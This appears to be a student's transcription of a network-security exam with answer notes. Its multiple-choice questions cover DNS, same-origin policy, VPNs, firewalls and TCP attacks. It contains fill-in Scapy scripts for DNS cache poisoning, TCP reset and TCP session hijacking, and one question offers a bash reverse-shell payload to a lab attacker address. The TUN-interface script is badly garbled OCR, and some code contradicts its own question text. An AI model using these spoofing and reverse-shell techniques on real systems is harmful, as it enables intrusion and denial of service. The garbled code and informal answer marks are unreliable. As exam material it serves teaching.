1 Which of the following is the correct way to conduct reverse lookup for IP

address 153.91.153.3 using dig?

A. dig 153.91.153.3

B. dig -x 153.91.153.3

C. dig -ptr 153.91.153.3

D. None of the above

2 in a DNS zone which record type is used to store information for a domain name

server

A. A-ipv4

В. АAAА-ipv6

C. NS

D. PTR

3. Which of the following domain will not be included in the root zone?

A..com

B. .net

C. .in

D. ucmo.edu

4. Which file on the Ubuntu Linux machine will be checked first before the DNS

resolver contacts the local DNS server?

A. /etc/hosts

B. /etc/services

C. /etc/passwd

D. /etc/shadow

5. According to the following zone file, if we conduct a DNS lookup for

mail.example.com, what IP address will you get?

A. 1.2.3.4

B.1.2.3.5

C. 10.9.0.153

D. 1.2.3.6

6. Use the same zone file above, if the DNS record is cached in the local DNS

server, how long will it be

A. 8 hours

B. 4 weeks

C. 1day

D. 3days

7. Which of the following reason(s) make the remote DNS cache poisoning attack

much difficult compared with the local DNS cache poisoning attack?

A. The attacker does not know the DNS transaction id

B. the attacker does not know the source port number in the DNSquery

C. the cache effect

D. all the above

8. Assume the attacker a launching a DNS cache poisoning attacker against the

victim and the victim conducts a DNS lookup on www.attacker32.com. Review the

following picture and identify the entry impossible to be included in the valid DNS

response

A. www.attacker32.com entry under the QUESTIONSECTION

B. www.attacker32.com entry under the ANSWERSECTION

C. attacker32.com entry under the AUTHORITYSECTION

D. facebook.com entry under the AUTHORITY SECTION

9. If we want to set up reverse lockup zone for the 153.91.3.0/24 subnet, which

zone file name below should we use

A. 153.91.153.0 91.in-addr.arpa

B.153.91.3.in-addr.arpa

C. 0.153.91.153.in-addr.arpa

D. 3.91.153. in-addr.arpa

10. Which of the following statement concerning same origin policy is incorrect

A. The same origin policy (SOP) is a critical security mechanism that restricts how

a document or script loaded from one origin can interact with a resource from

another origin

B. Same origin policy applies only to scripts. It prevents scripts on one origin from

accessing data from another origin

C. SOP generally allows a domain to issue requests to other domains, but not to

access the responses

D. Sop is not enforced by the browser

11. Which of the following statement concerning IP tunnelling is incorrect?

A. IPSectunnelling works at kernel level

B. TLS/SSL tunneling works outside the kernel, at the application level

C. the idea behind IP tunneling is to embed the original IP packet inside a new IP

packet before sending it to internet

D. IPSectunneling is the preferred VPN technology nowadays due to its flexibility

by adopting the IPsec protocol

12. Which of the following statement concerning TUN and TAP interface is

incorrect

A. Both TUN and TAP Interfaces are virtual interfaces

B. The TUN interface works at the transport layer as it is mainly used for the

TLS/SSL, tunneling.

C. The TAP interface works at the link layer

D. The TUN interface uses routing to connect the private network to the entry

point of VPN tunnel

13. Which of the statement concerning the firewall is incorrect

A. The packet filter firewall only checks individual packets headers to make the

firewall rule decision

B. the stateful firewall tracks the state of traffic by monitoring all connections

interactions until they are closed

C. The proxy firewall analyses upto the application layer to determine if the packet

should be allowed or rejected

D. In addition to maintain a state table, the stateful firewall also checks up upto the

application layer to determine if the packet should be allowed or rejected

14. which chain is not included in the NAT table of the iptables

i/p, o/p, post, pre

A. PREROUTING

B. INPUT aki

C. OUTPUT

D. FORWARD

15. Which of the following iptables statement is correct to block incoming TCP

traffic to ports 22, 23 and 80

A. iptables -A INPUT -p tcp --dport 22, 23, 80 -j DROP

B. iptables -A INPUT -p tcp --dport 22:23, 80 -j DROP

C. iptables -A INPUT -p tcp -m multiport -- dports 22, 23, 80 -j DROP

D. None of the above

16. Which of the following is the correct sequence for TCP three-way

handshaking?

A. SYN, ACK, ACK

B. SYN, SYNACK, ACK

C. SYN, SYNACK, RST

D. SYN, SYNACK, FIN

17. Jason was monitoring a server using netstat and below is the part of the result

to be obtained. Which of the following statement is true

Table pic (Answer not found in chatGPT)

A. The server is under TCP SYN flood attack

B. The server is under TCP RESET attack

C. The server is under -----attack

D. The server is under Fraggle attack

18. Which of the following statement about TCP SYNflood attack is false?

A. SYN cookie is a countermeasure to defeat TCP SYN flood attack

B. In TCP SYN flood attack, the attacker spoofs senders IP addresses to avoid the

detection by thefirewall

C. To turn on the SYN Cookie countermeasure, we can use sudo syncll -w net ipv4

tcp\_syncookies=1

D. TCP SYN flood attack is a denial of service (DoS) attack which will cause the

entire server to crash. Praty, aki

To log into his university's network, Bob needs to use a TLS-based VPN After he

has established a VPN tunnel between his home machine and his university's

network (128.230.0.0/16), he checks the routing table on his computer which is

listed below

SEE TABLE

19. From the above routing information, what is the IP address of the TUN

interface on Bob's machine?

A.128.230.153.12 praty

B. 128.230.155.48

C. 128.230.153.80 – ip adrs of TUN

D. Cannot be determined from the above routing table

20. What is the IP address of Bob's university VPN server?

A. 128.230.153.12

B. 128.230 153.48

C. 128.230.153.80

D. Cannot be determined from the above routing table

21. Compare the following URLs with http://store.company.com/dir/page.html.

Which URL meets the same origin policy?

A. http://store.company.com/dir2/other.html

B. https://store.company.com/page.html

C. praty

D.

Jason is writing a Python script to conduct a local DNS cache poisoning attack

against the local DNS server (10.0.2.128) His goal is to provide a fake IP 1.2.3.4

translation to www.example.net and completely hijack the example.net domain

with his malicious name server ns.attacker.com. Please help him to complete the

following code.

#!/usr/bin/env python3

from scapy.all import \*

def spoof\_dns(pkt):

if (DNS in pkt and 'www.example.com' in pkt[DNS].qd.qname.decode('utf-

8')):

# Swap the source and destination IP address

IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)

# Swap the source and destination port number

UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)

# The Answer Section

Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',

ttl=259200, rdata='1.1.1.1')

# The Authority Section

NSsec1 = DNSRR(rrname='example.net', type='NS',

ttl=259200, rdata='ns1.example.net')

NSsec2 = DNSRR(rrname='example.net', type='NS',

ttl=259200, rdata='ns2.example.net')

# The Additional Section

Addsec1 = DNSRR(rrname='ns1.example.net', type='A',

ttl=259200, rdata='1.2.3.4')

Addsec2 = DNSRR(rrname='ns2.example.net', type='A',

ttl=259200, rdata='5.6.7.8')

# Construct the DNS packet

DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1,

qdcount=1, ancount=1, nscount=0, arcount=0,

an=Anssec)

# Construct the entire IP packet and send it out

spoofpkt = IPpkt/UDPpkt/DNSpkt

send(spoofpkt)

# Sniff UDP query packets and invoke spoof\_dns().

f = 'udp and src host 10.9.0.53 and dst port 53'

pkt = sniff(iface='br-3d07a659426d', filter=f, prn=spoof\_dns)

22. What are values in blanks 1 and 2, respectively?

A. pkt[IP].dst, pkt[IP].src

B. pkt[IP].src, pkt[IP].dst

C. pkt[IP].dst, ‘www.example.net'

D. pkt[IP].src, ‘www.example.net’

23. What are values in blanks 3 and 4, respectively?

A. pkt[UDP].dport, pkt[UDP].sport

B. pkt[TCP].dport, pkt[TCP].sport

C. pkt[TCP].sport, pkt[TCP].dport

D. pkt[UDP]. sport, pkt[UDP].dport

24. What are values in blanks 5, 6 and 7, respectively?

A. 'NS', 'A', 'ns.attacker.com’

B. 'A', 'NS', 'ns.attacker.com’

C. 'AAAA', 'NS', 'ns.attacker.com’

D. 'A', 'NS', 'www.example.net’

25. What are values in blanks 8, 9 and 10, respectively?

A. pkt.id, pkt.qd, 0

B. pkt.id, pkt.qd, 1

C. pkt[DNS].id, pkt[DNS].qd.0

D. pkt[DNS].id, pkt[DNS].qd,1

Ashley is a student in CYBR 5300 class. She is working on the TCP lab to conduct

TCP reset attack Please help her to fill the seven blanks in the following Python

script

from scapy.all import \*

def spoof\_tcp(pkt):

IPLayer = IP(dst=pkt[IP].src, src=pkt[IP].dst)

TCPLayer = TCP(flags="R", seq=pkt[TCP].ack,

dport=pkt[TCP].sport, sport=pkt[TCP].dport)

spoofpkt = IPLayer/TCPLayer

ls(spoofpkt)

send(spoofpkt, verbose=0)

pkt=sniff(iface='br-7ea0c5dbaac7', filter='tcp and port 23', prn=spoof\_tcp)

#1/usr/bin/python3

from scapy.all import.

def spoof (pkt):

pre\_ip = pkt[IP]

pre\_tcp= pkt[TCP]

ip =IP(src 1, dst 2)

tcp = TCP(sport =3, dport= 4, flag= 5, seq=6)

pkt = 7

pkt.show()

send(pkt, verbose-0)

26. What are values in blanks 1 and 2, respectively?

A. pre\_ip.dst, pre\_ip.src

B. pre\_ip.src, pre\_ip.dst

C. pre\_tcp.dst, pre\_tcp.src

D. pre\_tcp.src, pre\_tcp.dst

27. What are values in blanks 3 and 4, respectively?

A. pre\_ip.sport, pre\_ip.dport

B. pre\_ip.dport, pre\_ip.sport

C. pre\_tcp.sport, pre\_tcp.dport

D. pre\_tcp.dport, pre\_tcp.sport

28. What are values in blanks 5, 6 and 7, respectively?

A. 'S', pre\_tcp.seq, ip/tcp

B. 'R', pre\_tcp.seq, ip/tcp

C. 'R', pre\_tcp.ack, ip/tcp

D. 'S', pre\_tcp.ack, ip/tcp

Kevin is a student in CYBR 5800 class. He is working on the TCP lab to conduct

the TCP session hijacking attack. His goal is to get a reverse shell to his computer

(10.0.2.3) at port 3333, Please help him to fill the eight blanks in the following

Python script.

#1/usr/bin/python3

from scapy.all import import sys

def spoof (pkt):

old ip- pkt[IP]

old tcp

pkt(TCP)

tcp\_len old ip.len old ip.iht 4 old\_tcp.dataofs 4 TCP data length

ip IP(src\_1, dst-\_2\_)

tcp- TCP(sport=3, dport 4, flags= 5, seq\_6, ack-\_7\_)

data 8

pkt ip/tcp/data

send(pkt, verbose=8)

29. What are values in blanks 1 and 2, respectively?

A. old\_ip.dst, old\_ip.src

B. old\_ipsrc, old\_ip.dst

C. old\_tcp.dst, old\_tcp.src

D. old\_tcp.src, old\_tcp.dst

30. What are values in blanks 3 and 4, respectively?

A. old\_ip.dport, old\_ip.sport

B. old\_ip.sport, old\_ip.dport

C. old\_tcp.dport, old\_tcp.sport

D. old\_tcp.sport, old\_tcp.dport

31. What are values in blanks 5 and 6, respectively

A. 'S', old\_tcp.ack + 10

B. ‘A’, old\_tcp.ack+ 10

C.'S’, old\_tcp.seq + 10

D. 'A', old\_tcp.seq+ 10

32. What are values in blanks 7 and 8, respectively

A. old\_tcp.ack+tcp\_len, "\n/bin/bash-i>/dev/tcp/10.0.2.3/3333 0<&1 2>&1\n"

B. old\_tcp.ack+tcp\_len, "/bin/bash-i>/dev/tcp/10.0.2.3/3333 0<&1 2>&1"

C. old\_tcp.seq+tcp\_len, "\n/bin/bash-i>/dev/tcp/10.0.2.3/3333 0<&12>&1\n"

D. old tcp seq+tcp\_len, "/bin/bash-i>/dev/tep/10.0.2.3/3333 0<&1 2>&1”

Vinod is writing a Python script to create a TUN interface IP address

192.168.53.99 is signed so the newly created TUN interface. For each IP packet

the TUN surface receives, it sends out a spoofed reply IP packet with a fake source

IP address of 1.2.3.4 Please complete the following code for this task

#1/usr/bin/python Sport Tent Import struct Sapors as import time

from scapy all inors.

TUNSETIFF

SEE TAP

60454

001

IF NO PI 0x1000

Create the tun serface tunes opent 10 ROM

ifr struct-pack 16, 'd, 22 170 PLY itsane bytes CAT INCELLOR, TOMETER,

STY

Get the interface hae

framestnane bytes decades UTF-8

stripe

the trace

format(tha

pelet interface Name formatte assign IP address 192.168.53.79

es.system

nate the TN interface vo and ring es system formatmane

vite True:

Get packet from the tur interface

packet os:read(4 2949)

True:

ip IP/packet)

Send out spoof packet using the tus interface

newpat

news/10.paytod

33. What are values in blanks 1 and 4, respectively?

A. ‘/dev/net/tun’, tun

B. ‘/dev/net/tun', os

C. 'dev/net/tap', tun

D. ‘/dev/net/tap’, os

34. What are values in blanks 2 and 3, respectively?

A. ip addr add 192.168.53.99 dev, ip link set dev up

B. ip addr add 192.168.53.99 dev (), ip link set dev () up.

C. ip addr add 192.168.53.99/24 dev, ip link set dev up

D. ip addr add 192.168.53.99/24 dev (), ip link set dev ()up

35. What are values in blanks 5 and 6, respectively?

A. ip.dst, ip.src

B. ip.src, ip.dst

C. ‘1.2.3.4', ip.src praty

D. ‘1.2.3.4’, ip.dst

36. A , D(praty) -d

37. A, C (praty) -c

38 A

39 C, D(praty)-d

40. D

Q->1: Which of the following is not a valid RR type

Answer: DOCX record is not a dns resource record.

Q->2: Which record is used to store domain name to IP address mapping in an IPV4 network.

Answer: A record returns a 32 bit IPV4 address.

Q->3: The zone data file for a domain would be located at which DNS server type

Answer: Zone data file for domain is located at Primary DNS Server.

Q->4: Which of the following is the most common troubleshooting utility used for DNS

Answer: nslookup is the most common dns troubleshooting utility.